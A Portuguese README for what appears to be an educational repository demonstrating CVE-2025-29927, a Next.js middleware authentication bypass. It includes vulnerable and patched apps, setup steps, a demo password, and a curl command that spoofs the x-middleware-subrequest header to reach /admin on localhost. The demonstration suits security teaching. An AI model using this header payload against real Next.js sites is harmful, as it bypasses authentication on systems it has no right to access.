
Demonstração do CVE-2025-29927: bypass de autenticação do middleware Next.js via falsificação de cabeçalho x-middleware-subrequest. Inclui exemplos de aplicativos vulneráveis e corrigidos para educação em segurança.
Este repositório contém uma demonstração da vulnerabilidade CVE-2025-29927 do Next.js, que afeta as versões 15.2.2 e anteriores do Next.js. A vulnerabilidade permite que atacantes ignorem as verificações de autenticação do middleware ao definir um cabeçalho x-middleware-subrequest.
Este é um monorepo NX contendo duas aplicações Next.js:
Nas versões do Next.js anteriores à 15.2.3, existe uma vulnerabilidade de segurança na implementação do middleware. O middleware não valida corretamente a origem do cabeçalho x-middleware-subrequest, permitindo que atacantes falsifiquem este cabeçalho e ignorem as verificações de autenticação baseadas no middleware.
# Navegue até o repositório
cd nextjs-vulnerability
# Instale as dependências da aplicação vulnerável
cd apps/vulnerable-app
npm install
# Inicie a aplicação vulnerável
npm run dev
A aplicação vulnerável estará disponível em http://localhost:3000.
# Navegue até o repositório
cd nextjs-vulnerability
# Instale as dependências da aplicação corrigida
cd apps/fixed-app
npm install
# Inicie a aplicação corrigida
npm run dev
A aplicação corrigida estará disponível em http://localhost:3001.
Você também pode executar as aplicações usando Docker:
# Para a aplicação vulnerável
cd apps/vulnerable-app
docker build -t nextjs-vulnerable .
docker run -p 3000:3000 nextjs-vulnerable
# Para a aplicação corrigida
cd apps/fixed-app
docker build -t nextjs-fixed .
docker run -p 3001:3000 nextjs-fixed
# Usando curl
curl -H "x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware" http://localhost:3000/admin
# Ou use uma extensão de navegador como ModHeader para adicionar o cabeçalho
# e então visite http://localhost:3000/admin
Com a versão vulnerável (15.2.2), você conseguirá acessar a página de admin sem autenticação adicionando o cabeçalho x-middleware-subrequest.
Com a versão corrigida (15.2.3), o middleware valida corretamente a origem deste cabeçalho, e você ainda será redirecionado para a página de login.
Para fins de demonstração, você pode fazer login com:
adminpassword123Se você está usando Next.js em produção, certifique-se de atualizar para a versão 15.2.3 ou superior para se proteger contra esta vulnerabilidade.